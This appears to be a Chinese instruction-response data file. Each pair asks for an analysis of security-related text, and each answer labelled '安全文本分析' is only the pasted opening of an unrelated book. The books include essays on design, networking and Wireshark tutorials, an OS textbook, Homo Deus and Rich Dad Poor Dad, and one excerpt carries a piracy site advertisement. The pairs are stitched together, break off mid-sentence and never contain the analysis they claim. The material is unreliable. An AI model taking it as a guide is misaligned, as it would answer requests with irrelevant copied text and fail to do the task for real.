　　我说设计必须考虑用户的需求，这里的“用户”并不是指所有普罗大众。事实上，你可以选择任何想要的目标用户。比如，假定你正在设计一种工具，你可以把目标用户定为初学者，也可以定为专家级用户。一种人眼里的优秀设计可能在另一种人眼里却是糟糕无比。这里的重点是你必须选出某些人作为你的目标用户。我觉得，除非设定目标用户，否则一种设计的好坏根本无从谈起。
　　如果目标用户群体涵盖了设计师本人，那么最有可能诞生优秀设计。如果目标用户与你本人差别很大，你往往会假定目标用户的需求比你本人的需求更简单，而不是更复杂。低估用户（即使出于善意）一般来说总是会让设计师出错。我怀疑那些设计“公共住宅项目”（housing project）^的建筑师根本没想过自己住在里面会是什么感觉。编程语言也有这种现象。C、Lisp和Smalltalk都是设计者为了自己使用而设计的，而Cobol、Ada和Java则是为了给别人使用而设计的。
^「“公共住宅”指的是由政府出资建造的房产，用来出租给低收入家庭居住，类似于廉租房。——译者注」
　　如果你觉得自己在为傻瓜设计产品，那么很可能不仅无法设计出优秀产品，而且就连傻瓜也不喜欢你的设计。
　　不过，就算你的设计针对的是最高端的用户，你也一样是设计给人类使用。研究就不一样了。做数学研究时，你不会只为了方便读者理解而故意选择一种更麻烦的证明方式，你只会选择最直接、最简洁的证明。我想，一般来说科学研究都是这样。科学观点不需要服从人类工程学（ergonomic）。
　　到了艺术领域，情况就完全变了。设计必须以人为本。设计椅子的时候，你不能只考虑椅子，还必须考虑人体各种千奇百怪的特点，不可能回避掉这一点。所有的艺术都必须迎合人类的兴趣和极限。举例来说，不考虑其他因素时，肖像画就是比风景画更能引发观众的兴趣。文艺复兴时期的经典绘画作品都是画人的，这并非巧合。如果绘画艺术不能用来表现人类本身，那么绘画也不会成为今天这样受推崇的艺术形式了。
　　不管你喜不喜欢，编程语言也是以人为本的。我怀疑人类的大脑与躯干一样，都有着许多令人琢磨不透的特点。否则为什么有些事情人类特别擅长，而另一些事情人类干起来特别困难。比如，人类似乎不善于处理精细的工作，所以最好还是交给计算机处理。另一方面，如果人类真的擅长和细节打交道，那么我们应该都用机器语言编程才对。
　　另外，还要记住一点。怎么理解编程语言？你不要把它看成那些已...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

如果你不知道读什么书或者想获得更多免费电子书请加小编QQ：2338856113  小编也和结交一些喜欢读书的朋友  或者关注小编个人微信公众号名称：幸福的味道  获得上百个书单    为了方便书友朋友找书和看书，小编自己做了一个电子书下载网站，网址：http://www.ireadweek.com   如于某种原因，经常换网址   如果打不开，可以qq联系我
网络空间安全技术丛书
企业安全建设指南：金融行业安全架构与技术实践
聂君　李燕　何扬军　编著
ISBN：978-7-111-62203-1
本书纸版由机械工业出版社于2019年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @华章数媒
微信公众号 华章电子书（微信号：hzebook）
目录
对本书的赞誉
序一
序二
序三
前言
第一部分　安全架构
第1章　企业信息安全建设简介
1.1　安全的本质
1.2　安全原则
1.3　安全世界观
1.4　正确处理几个关系
1.5　安全趋势
1.6　小结
第2章　金融行业的信息安全
2.1　金融行业信息安全态势
2.2　金融行业信息安全目标
2.3　信息安全与业务的关系：矛盾与共赢
2.4　信息安全与监管的关系：约束与保护
2.5　监管科技
2.6　小结
第3章　安全规划
3.1　规划前的思考
3.2　规划框架
3.3　制订步骤
3.3.1　调研
3.3.2　目标、现状和差距
3.3.3　制订解决方案
3.3.4　定稿
3.3.5　上层汇报
3.3.6　执行与回顾
3.4　注意事项
3.5　小结
第4章　内控合规管理
4.1　概述
4.1.1　合规、内控、风险管理的关系
4.1.2　目标及领域
4.1.3　落地方法
4.2　信息科技风险管理
4.2.1　原则
4.2.2　组织架构和职责
4.2.3　管理内容
4.2.4　管理手段和流程
4.2.5　报告机制
4.2.6　信息科技风险监控指标
4.3　监督检查
4.4　制度管理
4.5　业务连续性管理
4.5.1　定义和标准
4.5.2　监管要求
4.5.3　BCM实施过程
4.5.4　业务影响分析和风险评估
4.5.5　BCP、演练和改进
4.5.6　DRI组织及认证
4.6　信息科技外包管理
4.7　分支机构管理
4.8　信息科技风险库示例
4.9　小结
第5章　安全团队建设
5.1　安全团队建设的“痛点”
5.2　安全团队面临的宏观环境
5.3　安全团队文化建设
5.4　安全团队意识建设
5.5　安全团队能力建设
5.5.1　确定目标，找准主要矛盾
5.5.2　梳理和细分团队职能
5.5.3　建立学习框架，提升知识和技能水平
5.5.4　掌握学习方法，实现事半功倍的效果
5.6　安全团队建设路径
5.7　安全人员职业规划
5.8　安全团队与其他团队的关系处理
5.9　小结
第6章　安全培训
6.1　安全培训的问题与“痛点”
6.1.1　信息安全意识不足的真实案例
6.1.2　信息安全培训的必要性
6.1.3　信息安全培训的“痛点”
6.2　信息安全培训关联方
6.3　信息安全培训“百宝箱”
6.4　面向对象的信息安全培训矩阵
6.5　培训体系实施的效果衡量
6.6　小结
第7章　外包安全管理
7.1　外包安全管理的问题与“痛点”
7.1.1　几个教训深刻的外包风险事件
7.1.2　外包安全管理的必要性
7.1.3　外包管理中的常见问题
7.2　外包战略体系
7.3　外包战术体系
7.3.1　事前预防
7.3.2　事中控制
7.3.3　事后处置
7.4　金融科技时代的外包安全管理
7.5　小结
第8章　安全考核
8.1　考核评价体系与原则
8.2　安全考核对象
8.3　考核方案
8.3.1　考核方案设计原则
8.3.2　总部IT部门安全团队
8.3.3　总部IT部门非安全团队（平行团队）
8.3.4　个人考核
8.3.5　一些细节
8.4　与考核相关的其他几个问题
8.5　安全考核示例
8.6　小结
第9章　安全认证
9.1　为什么要获得认证
9.2　认证概述
9.2.1　认证分类
9.2.2　认证机构
9.3　选择什么样的认证
9.4　如何通过认证
9.5　小结
第10章　安全预算、总结与汇报
10.1　安全预算
10.2　安全总结
10.3　安全汇报
10.4　小结
第二部分　安全技术实战
第11章　互联网应用安全
11.1　端口管控
11.2　Web应用安全
11.3　系统安全
11.4　网络安全
11.5　数据安全
11.6　业务安全
11.7　互联网DM...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

目录
初试锋芒
从一道面试题开始说起
小试牛刀：一个简单的应用实例
Excel文件的保存过程
你一定会喜欢的技巧
Patrick的故事
Wireshark的前世今生
庖丁解牛
NFS协议的解析
从Wireshark看网络分层
TCP的连接启蒙
快递员的工作策略—TCP窗口
重传的讲究
延迟确认与Nagle算法
百家争鸣
简单的代价—UDP
剖析CIFS协议
网络江湖
DNS小科普
一个古老的协议—FTP
上网的学问—HTTP
无懈可击的Kerberos
TCP/IP的故事
举重若轻
“一小时内给你答复”
午夜铃声
深藏功与名
棋逢对手
学无止境
一个技术男的自白
初试锋芒
从一道面试题开始说起
我每次当面试官，都要伪装成无所不知的大牛。
这当然是无奈的选择——现在每封简历都那么耀眼，不装一下简直镇不住场面。比如尚未毕业的本科生，早就拿下CCIE认证；留欧两年的海归，已然精通英、法、德三门外语；最厉害的一位应聘者，研究生阶段就在国际上首次提出了计算机和生物学的跨界理论……可怜我这个老实人在一开场还能装装，到了技术环节就忍不住提问基础知识，一下子把气氛从学术殿堂拉到建筑工地。不过就是这些最基础的问题，却常常把简历精英们难住。本文要介绍的便是其中的一道。
问题：两台服务器A和B的网络配置如下（见图1），B的子网掩码本应该是255.255.255.0，被不小心配成了255.255.255.224。它们还能正常通信吗？
图1
 很多应聘者都会沉思良久（他们一定在心里把我骂了很多遍了），然后给出下面这些形形色色的答案。
答案1：“A和B不能通信，因为……如果这样都行的话，子网掩码还有什么用？”（这位的反证法听上去很有道理！）
答案2：“A和B能通信，因为它们可以通过ARP广播获得对方的MAC地址。”（那子网掩码还有什么用？楼上的反证法用来反驳这位正好。）
答案3：“A和B能通信，但所有包都要通过默认网关192.168.26.2转发。”（请问这么复杂的结果你是怎么想到的？）
答案4：“A和B不能通信，因为ARP不能跨子网。”（这个答案听上去真像是经过认真思考的。）
以上哪个答案是正确的？还是都不正确？如果这是你第一次听到这道题，不妨停下来思考一下。
真相只有一个，应聘者的答案却是五花八门。可见对网络概念的理解不容含糊，否则差之毫厘，谬以千里。要知道，这还只是基本的路由交换知识，假如涉及复杂概念，结果就更不用说了。
问题是即便我们对着教材咬文嚼字，也不一定能悟出正确答案。这个时候，就可以借助Wireshark的抓包与分析功能了。我手头就有两台Windows服务器，已经按照面试题配好网络。如果你以前没有用过Wireshark，就开始第一次亲密接触吧。
1．从http://www.wireshark.org/download.html免费下载安装包，并在服务器B上装好（把所有可选项都装上）。
2．启动Wireshark软件，单击菜单栏上的Capture，再单击Interfaces按钮（见图2）。
图2
3．服务器B上的所有网卡都会显示在弹出的新窗口上（见图3），在要抓包的网卡上单击Start按钮。
图3
4．在服务器B上ping A的IP地址，结果是通的（见图4）。该操作产生的网络包已经被Wireshark捕获。
图4
5．在Wireshark的菜单栏上，再次单击Capture，然后单击Stop。
6．在Wireshark的菜单栏上，单击File，再单击Save，把网络包保存到硬盘上（这一步并非必需，但存档是个好习惯）。
7．收集每台设备的MAC地址以备分析。
• 服务器A: 00:0c:29:0c:22:10
• 服务器B: 00:0c:29:51:f1:7b
• 默认网关: 00:50:56:e7:2f:88
现在可以分析网络包了。如图5所示，Wireshark的界面非常直观。最上面是Packet List窗口，它列出了所有网络包。在Packet List中选定的网络包会详细地显示在中间的Packet Details窗口中。由于我在Packet List中选定的是3号包，所以图5中看到的就是Frame 3的详情。最底下是Packet Bytes Details窗口，我们一般不会用到它。
图5
接下来看看每个包都做了些什么。
1号包（见图6）：
图6
服务器B通过ARP广播查询默认网关192.168.26.2的MAC地址。为什么我ping的是服务器A的IP，B却去查询默认网关的MAC地址呢？这是因为B根据自己的子网掩码，计算出A属于不同子网，跨子网通信需要默认网关的转发。而要和默认网关通信，就需要获得其MAC地址。
 2号包（见图7）：
图7
默认网关192.168.26.2向B回复了自己的MAC地址。为什么这些MAC地址的开头明明是“00:5...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

未来简史
——从智人到神人
[以色列]尤瓦尔·赫拉利 著
林俊宏 译
中信出版社
目录
第1章 人类的新议题
第一部分 智人征服世界
第2章 人类世
第3章 人类的特殊之处
第二部分 智人为世界赋予意义
第4章 说书人
第5章 一对冤家
第6章 与“现代”的契约
第7章 人文主义革命
第三部分 智人失去控制权
第8章 实验室里的定时炸弹
第9章 大分离
第10章 意识的海洋
第11章 信数据得永生
图片来源
致谢
注释
献给萨蒂亚·纳拉扬·戈恩卡（1924——2013）老师，
他春风化雨般教导我许多重要的事。
图1 体外受精：掌握创造的力量
第1章
人类的新议题
第三个千年开始之际，人类醒来，伸展手脚，揉了揉眼睛，脑子里依稀记得某些可怕的噩梦。“好像有什么铁丝网、巨大的蘑菇云之类的。但管它的呢，只是个噩梦吧。”人类走进浴室，洗洗脸，看看镜子里脸上的皱纹，然后冲了一杯咖啡，打开了记事本。“来瞧瞧今天有什么重要的事吧。”
几千年来，这个问题的答案并没有什么改变。不管是20世纪的中国人、中世纪的印度人，还是古代的埃及人，都面临着同样的三大问题——饥荒、瘟疫和战争——它们永远都是人类的心头大患。一代又一代，人类向所有神明、天使和圣人祈祷膜拜，也发明了无数的工具、制度和社会系统，但仍然有数百万人死于饥饿、流行病和暴力。许多思想家和先知于是认为，饥荒、瘟疫和战争一定是上帝整个宇宙计划的一部分，抑或是出自人类天生的不完美，除非走到时间尽头，否则永远不可能摆脱。
但在第三个千年开始之际，人类开始意识到一件惊人的事。虽然多数人很少想到这件事，但在过去几十年间，我们已经成功遏制了饥荒、瘟疫和战争。当然这些问题还算不上被完全解决，但已经从过去“不可理解、无法控制的自然力量”转化为“可应对的挑战”。我们不再需要祈求某位神或圣人来解救人类，而是已经相当了解怎样预防饥荒、瘟疫和战争，而且通常都能成功。
当然，有些时候还是会事与愿违，但面对这些失败，人类不再只是耸耸肩，说“没办法，世界就是这样不完美”或是“这是上帝的旨意”。现在如果再有饥荒、瘟疫和战争爆发而不受人类控制，我们会觉得一定是哪个人出了问题，应该成立调查委员会来研究研究，而且对自己许下承诺，下次一定要做得更好。而且，这套办法还真行得通。此类灾难发生的次数及频率确实都在下降。因营养过剩而死亡的人数超过因营养不良而死亡的人数，因年老而死亡的人数超过因传染病死亡者，自杀身亡的人数甚至超过被士兵、恐怖分子和犯罪分子杀害的人数的总和，这些都是史无前例的。到了21世纪早期，平均来说，人类死于干旱、埃博拉病毒或基地组织恐怖袭击的可能性，还不及死于暴饮暴食麦当劳食品的比率。
因此，虽然各国总统、首席执行官和军事将领的每日议题仍然是经济危机和军事冲突，但从整个人类历史的宏观角度来说，人类已经可以看向别处，开始寻找其他议题。如果我们确实已经让饥荒、瘟疫和战争得到控制，什么将取而代之成为人类最重要的议题？就像消防员忽然听说再不会有火灾了，到了21世纪，人类得自问一个前所未有的问题：我们接下来要做什么？整个世界已经如此健康繁荣又和谐，我们该把注意力和创造力投到什么事情上？因为生物科技及信息技术为人类带来强大的新力量，这个问题也变得倍加迫切。手上有了这些力量，究竟该如何运用？
在回答这个问题之前，我们对于饥荒、瘟疫和战争还得多谈几句。很多人可能会认为，说这些问题已经得到控制，是个非常离谱、天真甚至麻木不仁的说法。不是还有几十亿人每天只有不到2美元过日子吗？非洲不是还在和艾滋病抗争吗？叙利亚和伊拉克不也正有战争肆虐吗？要回答这些问题，我们得先更仔细地看看21世纪早期的世界；至于探索未来几十年的议题，且待后续再谈。
生物贫穷线
首先谈谈饥荒，几千年来这一直是人类最大的敌人。甚至在不久前，大多数人类仍然生活在生物贫穷线的边缘，再低一点就会落入营养不良和饥饿的状态。只要发生小失误，或是单纯有些运气不好，就很有可能把整个家庭或村庄判了死刑。如果一场大雨毁了你的麦田，或是强盗抢走了你养的羊群，你和亲人可能就会饿死。如果是整体的不幸或愚蠢行径，则会导致大规模的饥荒。在古埃及或中世纪印度，如果碰到严重干旱（这种情况并不少见），常常一下子就会有5%或10%的人死去。遇上干旱，就会出现粮食短缺；运输又太过缓慢，成本也太高，无法进口足够的食物；而且政府也，无力挽救局面。
随便翻开哪本历史书，几乎都会读到饥荒的惨状，读到人在饥饿之下做出的疯狂行径。1694年4月，法国博韦（Beauvais）某地的官员描述了当地饥荒、粮价飙涨的影响，他说自己的辖地处处都是“无数可怜的灵魂饥饿身亡；没有工作，也就没有钱买面包果腹。为求苟延残喘、稍解饥饿，这些可怜的人以不洁之物为食，如死猫或已剥皮而投入粪堆的死马。（还有人吃）宰杀牛流出的血，以及厨子扔到街上的动物内...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

操作系统原理
（第4版）
庞丽萍　编著
华中科技大学出版社
中国·武汉
内容简介
《操作系统原理》自1988年出版以来，20余年作者始终紧跟计算机技术的发展，始终坚守教学第一线，不断地将计算机的新技术与教学改革的新成果融入本书，使之日臻完善，广受欢迎，读者多达18万之众。
本书修订，全面、系统地阐述了现代操作系统的基本原理、主要功能及实现技术，讨论了现代操作系统的虚拟技术及用户界面。重点介绍多用户、多任务的运行机制及操作系统资源管理策略和方法。以UNIX系统为例介绍了操作系统的实现技术。并增加分布式系统内容，讨论分布式系统的定义、特征、模型，分布式系统的资源管理及一致性问题。
本书既可作为高等院校计算机类本科、专科各专业和其他相关专业教材，亦可供从事计算机科学、工程和应用等方面工作的科技人员参考。
再版前言
《操作系统原理》自1988年出版以来几经修订再版，今天呈现给各位读者的是第四版。二十多年来，在不间断的操作系统原理的教学实践中；在操作系统课程的建设中；在与同行、学者的讨论交流中受益匪浅，使我对操作系统的认识和理解不断地深入。
学习操作系统都有一个了解、理解、进一步理解的过程。要学懂操作系统需要抓住一个问题、运用一种方法、搞好一个结合。现代操作系统的核心问题是支持多用户、多任务的并行执行。为此，操作系统需要提出新的概念、提供解决计算机系统中资源共享、协调多个活动之间相互制约关系的方法、策略和机制。认识操作系统运用的虚拟化的方法，将呈现给用户的逻辑视图与操作系统所管理的物理视图区分开来，由此产生的资源的虚拟分配、虚实之间的映射、单CPU上的逻辑并行（多任务并发）等问题都能更好地理解。要学懂操作系统，还必须注重操作系统原理与实际的有机结合。通过剖析一个现代操作系统实例来印证所学的理论知识；通过操作系统实验体会操作系统的功能实现，并能锻炼、培养系统软件开发能力。
本教材针对操作系统内容庞杂、涉及面广的特点，在内容的选取上注重基础性、实质性、先进性，框架的设计上注重逻辑性、完整性，力图将操作系统内容组织成一个逻辑清晰的整体。在这一整体中始终贯穿着并发、共享的主线。在这一主线下，有一条动态的、进程活动轨迹，还有一个系统资源管理的剖面。针对前者，本教材围绕支持多进程运行必需的机制（包括数据结构、进程控制与进程调度功能）及方法展开讨论；对后者则针对多用户、多任务对系统资源的共享，展开操作系统资源管理策略与方法的论述。本教材在阐述问题时，力求深入浅出，通俗易懂，使读者便于阅读和理解。
此次再版在第三版的基础上作了如下修改。
（1）操作系统实例选用UNIX系统，其有关内容和各功能模块安排到相关章节后论述。
（2）增加“分布式系统”作为第10章内容，讨论分布式系统的定义、特征、模型，分布式系统的资源管理及一致性问题。
（3）各章节中适当增加了一些新内容，如：操作系统的组织结构、输入/输出控制等部分。
书中所有算法仍用类C的伪码来描述。因为，这种语言与PDL语言十分相似，它含有更多的自然语言，这样使读者容易掌握算法的功能。
操作系统技术正在不断地发展、变革，操作系统教材在抓住基础性的同时，也需要不断地更新；本书还考虑到目前高等学校计算机各专业教学工作的实际需要而修订再版。本书用于高等学校计算机本科教学时，原则上应讲授第1～9章的全部内容（第10章作为扩展知识的内容可选用），其授课时数建议按55～60学时安排；若用于高校计算机专科教学时，应讲授1～9章的基本内容，书中带“*”号内容可以不讲授，其授课时数建议按45～50学时安排；本书用于高校其他有关专业本科或研究生教学时，其讲授内容和学时数可由任课教师根据具体情况确定。
我在教学和编写教材过程中，学习、参考了有关操作系统、分布式系统方面的好的教材，不断地学习使我加深了对操作系统的理解。这些书都给了我很大的帮助。在此书再版之际，我要感谢指导、帮助过我的专家、作者、老师和我的朋友们，和他们的讨论、交流使我受益匪浅。另外，对华中科技大学出版社的领导及有关同志深表谢意，因为他们对此书的再版和发行做了大量的工作。
此书再版后，恳切地希望能继续得到同行和读者们的批评和帮助，以便使此书的质量能不断地提高。
作　　者
2007年12月于武汉
序
操作系统是计算机系统中的核心系统软件，它负责控制和管理整个系统资源并协调用户有效地使用这些资源，使计算机系统高效地工作。操作系统是计算机科学与技术专业的核心课程。随着计算机技术的应用越来越广泛，其他相关专业也相继把操作系统作为必修课程或选修课程。
近年来，随着计算机网络、多媒体应用以及嵌入式系统的广泛应用，操作系统在概念和技术上都有了很快的发展。例如，网络终端、图形用户界面、电源管理、多处理机操作系统、分布式操作系统等。操作系统的教材当然也应该及时反映这种发展，本书正是作...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

网络基本功（一）：细说网络传输
网络基本功（一）：细说网络传输
转载请在文首保留原文出处：EMC中文支持论坛https://community.emc.com/go/chinese
介绍
常言道：欲练神功，必先练好基本功。之前做了一个关于IP路由，默认网关和掩码的问答贴，做完这个帖子觉得如果对网络知识点做一个系统的阐述，应该会很有帮助。
本系列文章着重于讲解网络管理实际应用中常常涉及的重要知识点，尽量以实用为主。准备写的几个章节暂时有（可能会有增减）：
网络传输
交换机
VLAN与Trunk
路由(上)
路由(下)
链路聚合
IP地址与子网
NAT原理与配置
ICMP与ARP
TCP滑动窗口
TCP重传
TCP确认机制
TCP窗口调整与流控
Wireshark抓包实例诊断TCP连接问题 (精)
Wireshark抓包实例诊断TCP重传 (精)
Wireshark抓包实例诊断TCP重复ACK与乱序 （精）
Wireshark抓包实例诊断TCP窗口与reset （精）
Wireshark抓包实例诊断HTTP问题 （精）
Wireshark抓包实例诊断数据库问题
HTTP(上)
HTTP(下)
DNS（上） （NEW)
细说Linux网络配置（上）
细说Linux网络配置（下）
常用诊断工具：ping
网络性能监测与实例（上）
网络性能监测与实例（下）
tcpdump的妙用  (上)
tcpdump的妙用（下）
更多信息
首先来看一个例子：
示例：网络服务器向客户端传送数据的过程:
在详细阐述网络传输过程之前，先来看一个最常见的例子，下图显示了一个网络服务器向客户端传送数据的完整过程：
 1\. 需要传送的数据是网络服务器的HTML页面。
 2\. 应用协议HTTP报文头添加到HTML数据之前。报文头信息包括：服务器所使用的HTTP版本，以及表明它包含发给网络客户端信息的状态编码。
 3\. HTTP应用层协议将HTML格式的网页数据发送给传输层。TCP传输层用于管理网络服务器和客户端之间的会话。
 4\. IP信息添加到TCP信息之前。IP指定适当的源和目的IP地址。这些信息就构成了IP报文。
 5\. 以太网协议添加到IP报文的两端之后，就形成了数据链路帧。上述帧发送至通向网络客户端的路径上的最近一个路由器。路由器移除以太网信息，观察IP报文，判定最佳路径，将报文插入一个新的帧，并发送至目标路径上下一个相邻路由器。每一个路由器在转发之前都移除并添加新的数据链路层信息。
 6\. 数据通过互联网络传输，互联网络包含媒介和中间设备。
 7\. 客户端接收到包含数据的数据链路帧，处理各层协议头，之后以添加时相反的顺序移除协议头。首先处理并移除以太网信息，之后是IP协议信息，接下来TCP信息，最后是HTTP信息。
 8\. 之后，将网页信息传递给客户端网页浏览器软件。
数据封装:
消息要在网络中传输，必须对它进行编码，以特定的格式进行封装，同时需要适当地封装以足够的控制和地址信息，以使它能够从发送方移动到接收方。
消息大小
理论上，视频或邮件信息是能够以大块非中断型流从网络源地址传送到目的地址，但这也意味着同一时刻同一网络其他设备就无法收发消息。这种大型数据流会造成显著延时。并且，如果传输过程中连接断开，整个数据流都会丢失需要全部重传。因此更好的方法是将数据流分割（segmentation）为较小的，便于管理的片段，能够带来两点好处：
发送较小片段，网络上同时可有多个会话交错进行。这种在网络上将不同会话片段交错进行的过程称为多路传输（multiplexing）。
分割可提高网络通讯的可靠性。各消息片段从源地址到目的地址无需经过相同路径，如果一条路径被堵塞或断开，其余消息可从替换路径到达目的地址。如果部分消息到不了目的地址，那只需重传丢失部分。
通过对片段打上标签的方式来保证顺序以及在接收时重组。
协议数据单元（Protocol Data Unit, PDU）
应用层数据在传输过程中沿着协议栈传递，每一层协议都会向其中添加信息。这就是封装的过程。
数据片段在各层网络结构中采用的形式就称为协议数据单元（PDU）。封装过程中，下一层对从上一层收到的PDU进行封装。在处理的每一个阶段PDU都有不同的名字来反应它的功能。
PDU按照TCP/IP协议的命名规范：
数据（Data）：应用层PDU的常用术语
分段（Segment）：传输层PDU
帧（Frame）：网络层PDU
比特（Bits）：在介质上物理传输数据所使用的PDU。
封装
封装是指在传输之前为数据添加额外的协议头信息的过程。在绝大多数数据通信过程中，源数据在传输前都会封装以数层协议。在网络上发送消息时，主机上的协议栈从上至下进行操作。
以网络服务器为例，HTTP应用层协议发送HTML...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

版权信息
书名：Android应用安全防护和逆向分析
作者：姜维
排版：KK
出版社：机械工业出版社
出版时间：2017-11-01
ISBN：9787111584452
— · 版权所有 侵权必究 · —
对本书的赞誉
移动应用安全已经是个不可忽视的问题，本书结合多个案例进行实际操作讲解，介绍很多实用工具和命令，是一本非常好的安全逆向工具书籍。姜维研究安全逆向这么久，将自身多年的丰富经验用书本的形式展现给读者也是非常不易。我仔细看过这本书，感觉真的很不错，对学习安全逆向的同学很有帮助，值得购买。
——周鸿祎，360公司创始人、董事长兼CEO，知名天使投资人
本书作者的技术搏客在CSDN上有超过500万人次的总访问量！
为什么这么多人会关注Android安全技术？因为不仅Android安全技术越来越重要，而且要成为真正的开发高手需要从正反两个方面来学习：从正面学习Android编程类别API，逐层学习App开发，从反面（逆向研究APK代码）学习Android系统如何运行的，其他软件是如何实现特定功能的，这样获得的Android知识更加系统全面。作者在书中有非常详细的案例讲解，也提供了大量的工具源码，是Android开发人员逆向学习研究的极好工具手册，可以帮助Android开发者成为更全面的Android高手。
——蒋涛，CSDN创始人，极客帮基金创始人
Android系统应用面越来越广，从移动手机到智能硬件，都有很高的覆盖率，其引发的安全问题危害也越来越大。作者以实际操作讲解的同时，还特别重视一些原理的介绍，可以帮助读者快速提升Android安全技术水平。
——段钢，看雪学院创始人
安全领域是一个冒险的世界，作者结合自己在这个领域的丰富经验，用生动的案例带领读者在这个世界中探险。本书章节安排精心合理，技术点循序渐进，使用了大量带有标注的配图，清晰且直观，属于难得一见的用心之作。
——泮晓波，顶象技术移动安全实验室负责人、合伙人
本书的作者在信息安全领域的多年经验，加上纯粹的技术分享精神，注定了这是一本值得广大安全爱好者期待的好书，本书完整地向你诠释——掌握了安全技术的底层原理，你就掌握了安全的一切。
——丰生强（网名：非虫），国内知名安全专家
随着移动应用的普及，移动应用的安全也随之成为一个严肃而重要的问题。要解决该问题所需要学习的内容非常多，对初学者而言，一本合适的入门书籍将起到承前启后的重要作用。而本书就恰恰是这样的一本书籍，它既涵盖了入门者所必须掌握的基础知识，又精选了许多安全领域中的典型实例并对它们开展了详细讲解。最后，希望作者能再接再厉，对本书内容进行持续更新。
——邓凡平
前言
随着移动应用的广泛使用，不可忽视的一个问题就是信息安全。本书从Android应用安全和逆向两个方面来介绍移动开发中如何做好安全。
我本来不是从事安全逆向工作的，但是一个偶然的机会使我发现逆向研究非常有趣，因为在逆向出别人的App那一刻会觉得无比自豪。
第一次逆向是因为遇到一个问题需要去解决，记得当时想查看一个App的内部资源信息，尝试使用apktool反编译程序，惊奇地发现原来别人的App反编译之后会有这么多东西，逆向真的很有趣。而后在开发中无法实现或者没有相应的资源时就去反编译别人的App，查看对应的代码怎么实现。后来就反编译那些有阻碍的应用，慢慢摸索，克服困难，每研究成功一个案例，便是对自身技能的一次提高。从第一次使用apktool工具，到使用Jadx可视化工具，再到用IDA工具调试，一步一个脚印走过来，经验逐渐丰富，技能也慢慢提升了。
逆向研究需要一种逆向思维，我没有接受过专业训练，只是在业余时间看相关书籍，找几个样本研究，从简单到难，在这个过程中慢慢学到很多技术。本书就是我这几年学习与探索的总结。
本书涉及内容有点多，但是没有一章是多余的，每章内容都是干货。本书包括26章，分为四篇。
基础篇
基础篇包括第1～7章，主要介绍Android技术中与逆向相关的基础知识，为后续章节的学习做准备。
第1章通过对Android中锁屏密码加密算法的分析，带领读者进入安全世界，这方面内容不算复杂，但是需要阅读Android源码来得到算法分析，其中一个知识点是如何通过查看Android源码来帮助解决开发过程中遇到的问题，这是所有Android开发人员必备的技能。通过找到锁屏密码入口，一步一步跟踪最终得到密码加密算法，以及加密之后的内容存放在哪里。这是进入安全逆向分析世界的大门。
第2章主要介绍Android中NDK开发知识。为了安全考虑，现在很多应用把一部分功能做到了Native层，所以如果不知道NDK开发技巧，就无法进行后续的逆向操作。这一章从搭建环境到每个方法的使用，详细讲解了Android中NDK开发的技巧。
第3章主要介绍Android中开发...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

图书在版编目（CIP）数据
富爸爸穷爸爸／〔美〕清崎，〔美〕莱希特著；萧明译．—成都：四川文艺出版社，2013.12
ISBN 978-7-5411-3812-6
Ⅰ．①富…　Ⅱ．①清… ②莱… ③萧…　Ⅲ．①私人投资—通俗读物　Ⅳ．①F830.59-49
中国版本图书馆CIP数据核字（2013）第279272号
FUBABAQIONGBABA
富爸爸穷爸爸
〔美〕罗伯特·清崎　〔美〕莎伦·莱希特　著
萧　明　译
责任编辑　张春晓
特邀编辑　聂　敏　张　芹
封面设计　朱　红
版式设计　乐阅文化
出版发行
社　　址　成都市槐树街2号
网　　址　www.scwys.com
电　　话　028-86259285（发行部）　028-86259303（编辑部）
传　　真　028-86259306
读者服务　028-86259293
邮购地址　成都市槐树街2号四川文艺出版社邮购部　610031
印　　刷　三河市中晟雅豪印务有限公司
成品尺寸　152mm×215mm　1/32
印　　张　7.75
字　　数　160千
版　　次　2014年1月第一版
印　　次　2014年1月第一次印刷
书　　号　ISBN 978-7-5411-3812-6
定　　价　28.00元
版权所有，侵权必究。如有质量问题，请与出版社联系更换。
目录
序言　这就是你所需要的
第一部分　课程
第1章　富爸爸，穷爸爸
第2章　第一课　富人不为钱工作
第3章　第二课　为什么要教授财务知识
第4章　第三课　关注自己的事业
第5章　第四课　税收的历史和公司的力量
第6章　第五课　富人的投资
第7章　第六课　学会不为钱工作
第二部分　开端
第8章　克服困难
第三部分　开始行动
第9章　开始行动
第10章　还想要更多吗？这里有一些要做的事情
结束语　怎样用7000美元支付孩子的大学费用
序言　这就是你所需要的
学校真的能让孩子们做好应对真实世界的准备吗？“努力学习，取得好成绩，你就能找到薪水高、福利好的工作。”我的父母过去经常这么说。他们的生活目标就是供我和姐姐上大学，认为这样我们才最有可能获得成功。1976年，当我从佛罗里达州立大学以优异的成绩获得会计专业的学位时，我的父母实现了他们的目标，这是他们一生中最骄傲的成就。根据“高等教育总体规划”，我很快便被八大会计师事务所中的一家雇用了，我期待着漫长的职业生涯的开始，并希望能够年轻退休。
我丈夫迈克尔也走着同样的路。我们都来自工作努力的家庭，生活朴素并极有职业道德。迈克尔也是以优异的成绩毕业的，他还先后深造过两次：一次是进修工程专业，另一次进修法律。在这之后，他很快便被华盛顿一家著名的律师事务所聘用，专攻专利法。他的未来看起来非常光明，职业的道路差不多也确定了，还有充分的退休保障。
虽然我们在事业上很成功，但一切却并不像我们所期望的那样。由于种种原因，我们都先后换了几次工作，却没有能使我们受益的退休金计划。我们的退休基金增长得很慢，因为它只能靠我们自己挣。
迈克尔和我婚姻美满并养育了3个好孩子。在我写下这些话时，其中两个正在上大学，另一个也已开始念高中了。我们花了许多钱以确保孩子们能得到最好的教育。
1996年的一天，一个孩子从学校回来，情绪非常低落，他说他已经厌倦了学习。“为什么我要浪费时间去学那些我一辈子也用不到的东西呢？”他抗议。
我不假思索地答道：“因为如果你学得不好就进不了大学。”
“我并不在乎上不上大学，”他说，“我只想发财。”
